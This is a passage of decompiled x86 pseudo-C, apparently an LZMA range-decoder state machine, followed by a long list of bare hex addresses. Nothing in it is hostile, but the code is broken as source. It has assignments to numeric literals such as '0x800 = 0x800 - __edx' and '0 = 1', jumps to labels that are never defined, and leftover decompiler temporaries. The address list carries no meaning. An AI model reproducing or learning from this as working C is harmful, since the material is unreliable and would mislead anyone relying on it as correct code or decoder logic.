													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406ce2
0x00406ce2
0x00406ce6
0x00406cf3
0x00406cfd
0x00000000
0x00406ce8
0x00406ce8
0x00406d23
0x00406d26
0x00406d29
0x00406d2c
0x00406d2c
0x00406d2f
0x00406d36
0x00406d3b
0x00406c1c
0x00406c1f
0x00406f91
0x00406f91
0x00406f91
0x00406f94
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00406fe2
0x00406fe6
0x00407195
0x004071ab
0x004071b3
0x004071ba
0x004071bc
0x004071c3
0x004071c7
0x004071c7
0x00406ff2
0x00406ff9
0x00407001
0x00407004
0x00407007
0x00407007
0x0040700d
0x0040700d
0x004067a9
0x004067a9
0x004067a9
0x004067b2
0x00000000
0x00000000
0x004067b8
0x00000000
0x004067c3
0x00000000
0x00000000
0x004067cc
0x004067cf
0x004067d2
0x004067d6
0x00000000
0x00000000
0x004067dc
0x004067df
0x004067e1
0x004067e2
0x004067e5
0x004067e7
0x004067e8
0x004067ea
0x004067ed
0x004067f2
0x004067f7
0x00406800
0x00406813
0x00406816
0x00406822
0x0040684a
0x0040684c
0x0040685a
0x0040685a
0x0040685e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040684e
0x0040684e
0x00406851
0x00406852
0x00406852
0x00000000
0x0040684e
0x00406828
0x0040682d
0x0040682d
0x00406836
0x0040683e
0x00406841
0x00000000
0x00406847
0x00406847
0x00000000
0x00406847
0x00000000
0x00406864
0x00406864
0x00406868
0x00407114
0x00000000
0x00407114
0x00406871
0x00406881
0x00406884
0x00406887
0x00406887
0x00406887
0x0040688a
0x0040688e
0x00000000
0x00000000
0x00406890
0x00406896
0x004068c0
0x004068c6
0x004068cd
0x00000000
0x004068cd
0x0040689c
0x0040689f
0x004068a4
0x004068a4
0x004068af
0x004068b7
0x004068ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004068ff
0x00406905
0x00406908
0x00406915
0x0040691d
0x00406f91
0x00406f91
0x00000000
0x00000000
0x004068d4
0x004068d4
0x004068d8
0x00407123
0x00000000
0x00407123
0x004068e4
0x004068ef
0x004068ef
0x004068ef
0x004068f2
0x004068f5
0x004068f8
0x004068fd
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f94
0x00406f94
0x00406f9a
0x00406fa0
0x00406fa6
0x00406fc0
0x00406fc3
0x00406fc9
0x00406fd4
0x00406fd6
0x00406fa8
0x00406fa8
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fe0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406925
0x00406927
0x0040692a
0x0040699b
0x0040699e
0x004069a1
0x004069a8
0x004069b2
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x0040692c
0x00406930
0x00406933
0x00406935
0x00406938
0x0040693b
0x0040693d
0x00406940
0x00406942
0x00406947
0x0040694a
0x0040694d
0x00406951
0x00406958
0x0040695b
0x00406962
0x00406966
0x0040696e
0x0040696e
0x0040696e
0x00406968
0x00406968
0x00406968
0x0040695d
0x0040695d
0x0040695d
0x00406972
0x00406975
0x00406993
0x00406995
0x00000000
0x00406977
0x00406977
0x0040697a
0x0040697d
0x00406980
0x00406982
0x00406982
0x00406982
0x00406985
0x00406988
0x0040698a
0x0040698b
0x0040698e
0x00000000
0x0040698e
0x00000000
0x00406bc4
0x00406bc8
0x00406be6
0x00406be9
0x00406bf0
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfc
0x00406bff
0x00406c01
0x00406c08
0x00406c09
0x00406c0b
0x00406c0e
0x00406c11
0x00406c14
0x00406c14
0x00406c19
0x00000000
0x00406c19
0x00406bca
0x00406bcd
0x00406bd0
0x00406bda
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00406c2e
0x00406c32
0x00406c55
0x00406c58
0x00406c5b
0x00406c65
0x00406c34
0x00406c34
0x00406c37
0x00406c3a
0x00406c3d
0x00406c4a
0x00406c4d
0x00406c4d
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00000000
0x00406c71
0x00406c75
0x00000000
0x00000000
0x00406c7b
0x00406c7f
0x00000000
0x00000000
0x00406c85
0x00406c87
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c92
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d09
0x00406d0d
0x00406d14
0x00406d17
0x00406d1a
0x00406d0f
0x00406d0f
0x00406d0f
0x00406d1d
0x00406d20
0x00000000
0x00000000
0x00406dc9
0x00406dc9
0x00406dcd
0x0040716b
0x00000000
0x0040716b
0x00406dd3
0x00406dd6
0x00406dd9
0x00406ddd
0x00406de0
0x00406de6
0x00406de8
0x00406de8
0x00406de8
0x00406deb
0x00406dee
0x00000000
0x00000000
0x004069be
0x004069be
0x004069c2
0x0040712f
0x00000000
0x0040712f
0x004069c8
0x004069cb
0x004069ce
0x004069d2
0x004069d5
0x004069db
0x004069dd
0x004069dd
0x004069dd
0x004069e0
0x004069e3
0x004069e3
0x004069e6
0x004069e9
0x00000000
0x00000000
0x004069ef
0x004069f5
0x00000000
0x00000000
0x004069fb
0x004069fb
0x004069ff
0x00406a02
0x00406a05
0x00406a08
0x00406a0b
0x00406a0c
0x00406a0f
0x00406a11
0x00406a17
0x00406a1a
0x00406a1d
0x00406a20
0x00406a23
0x00406a26
0x00406a29
0x00406a45
0x00406a48
0x00406a4b
0x00406a4e
0x00406a55
0x00406a59
0x00406a5b
0x00406a5f
0x00406a2b
0x00406a2b
0x00406a2f
0x00406a37
0x00406a3c
0x00406a3e
0x00406a40
0x00406a40
0x00406a62
0x00406a69
0x00406a6c
0x00000000
0x00406a72
0x00000000
0x00406a72
0x00000000
0x00406a77
0x00406a77
0x00406a7b
0x0040713b
0x00000000
0x0040713b
0x00406a81
0x00406a84
0x00406a87
0x00406a8b
0x00406a8e
0x00406a94
0x00406a96
0x00406a96
0x00406a96
0x00406a99
0x00406a9c
0x00406a9c
0x00406a9c
0x00406aa2
0x00000000
0x00000000
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406ada
0x00406add
0x00406ae0
0x00406ae3
0x00406ae3
0x00406ae6
0x00406aea
0x00406aec
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad5
0x00406ad5
0x00406aef
0x00406af6
0x00406af9
0x00000000
0x00406afb
0x00000000
0x00406afb
0x00406af9
0x00406b00
0x00406b00
0x00406b00
0x00406b00
0x00000000
0x00000000
0x00406b3b
0x00406b3b
0x00406b3f
0x00407147
0x00000000
0x00407147
0x00406b45
0x00406b48
0x00406b4b
0x00406b4f
0x00406b52
0x00406b58
0x00406b5a
0x00406b5a
0x00406b5a
0x00406b5d
0x00406b60
0x00406b60
0x00406b66
0x00406b04
0x00406b04
0x00406b07
0x00000000
0x00406b07
0x00406b68
0x00406b68
0x00406b6b
0x00406b6e
0x00406b71
0x00406b74
0x00406b77
0x00406b7a
0x00406b7d
0x00406b80
0x00406b83
0x00406b86
0x00406b9e
0x00406ba1
0x00406ba4
0x00406ba7
0x00406ba7
0x00406baa
0x00406bae
0x00406bb0
0x00406b88
0x00406b88
0x00406b90
0x00406b95
0x00406b97
0x00406b99
0x00406b99
0x00406bb3
0x00406bba
0x00406bbd
0x00000000
0x00406bbf
0x00000000
0x00406bbf
0x00000000
0x00406e4c
0x00406e4c
0x00406e50
0x00407177
0x00000000
0x00407177
0x00406e56
0x00406e59
0x00406e5c
0x00406e60
0x00406e63
0x00406e69
0x00406e6b
0x00406e6b
0x00406e6b
0x00406e6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f5b
0x00406f5f
0x00406f81
0x00406f84
0x00406f8e
0x00406f91
0x00406f91
0x00406f91
0x00000000
0x00406f91
0x00406f91
0x00406f61
0x00406f64
0x00406f68
0x00406f6b
0x00406f6b
0x00406f6e
0x00000000
0x00000000
0x00407018
0x0040701c
0x0040703a
0x0040703a
0x0040703a
0x00407041
0x00407048
0x0040704f
0x0040704f
0x00000000
0x0040704f
0x0040701e
0x00407021
0x00407024
0x00407027
0x0040702e
0x00406f72
0x00406f72
0x00406f75
0x00000000
0x00000000
0x00407109
0x0040710c
0x0040700d
0x00000000
0x00000000
0x00406d43
0x00406d45
0x00406d4c
0x00406d4d
0x00406d4f
0x00406d52
0x00000000
0x00000000
0x00406d5a
0x00406d5d
0x00406d60
0x00406d62
0x00406d64
0x00406d64
0x00406d65
0x00406d68
0x00406d6f
0x00406d72
0x00406d80
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00407060
0x00000000
0x00000000
0x00407065
0x00407065
0x00407069
0x004071a1
0x00000000
0x004071a1
0x0040706f
0x00407072
0x00407075
0x00407079
0x0040707c
0x00407082
0x00407084
0x00407084
0x00407084
0x00407087
0x0040708a
0x0040708a
0x0040708a
0x0040708a
0x0040708d
0x0040708d
0x00407091
0x004070f1
0x004070f4
0x004070f9
0x004070fa
0x004070fc
0x004070fe
0x00407101
0x0040700d
0x0040700d
0x00000000
0x00407013
0x0040700d
0x00407093
0x00407099
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x004070b1
0x004070b4
0x004070cd
0x004070d0
0x004070d3
0x004070d6
0x004070da
0x004070dc
0x004070dc
0x004070dd
0x004070e0
0x004070b6
0x004070b6
0x004070be
0x004070c3
0x004070c5
0x004070c8
0x004070c8
0x004070e3
0x004070ea
0x00000000
0x004070ec
0x00000000
0x004070ec
0x00000000
0x00406d88
0x00406d8b
0x00406dc1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef1
0x00406ef4
0x00406ef4
0x00406ef7
0x00406ef9
0x00407183
0x00000000
0x00407183
0x00406eff
0x00406f02
0x00000000
0x00000000
0x00406f08
0x00406f0c
0x00406f0f
0x00406f0f
0x00406f0f
0x00000000
0x00406f0f
0x00406d8d
0x00406d8f
0x00406d91
0x00406d93
0x00406d96
0x00406d97
0x00406d99
0x00406d9b
0x00406d9e
0x00406da1
0x00406db7
0x00406dbc
0x00406df4
0x00406df4
0x00406df8
0x00406e24
0x00406e26
0x00406e2d
0x00406e30
0x00406e33
0x00406e33
0x00406e38
0x00406e38
0x00406e3a
0x00406e3d
0x00406e44
0x00406e47
0x00406e74
0x00406e74
0x00406e77
0x00406e7a
0x00406eee
0x00406eee
0x00406eee
0x00000000
0x00406eee
0x00406e7c
0x00406e82
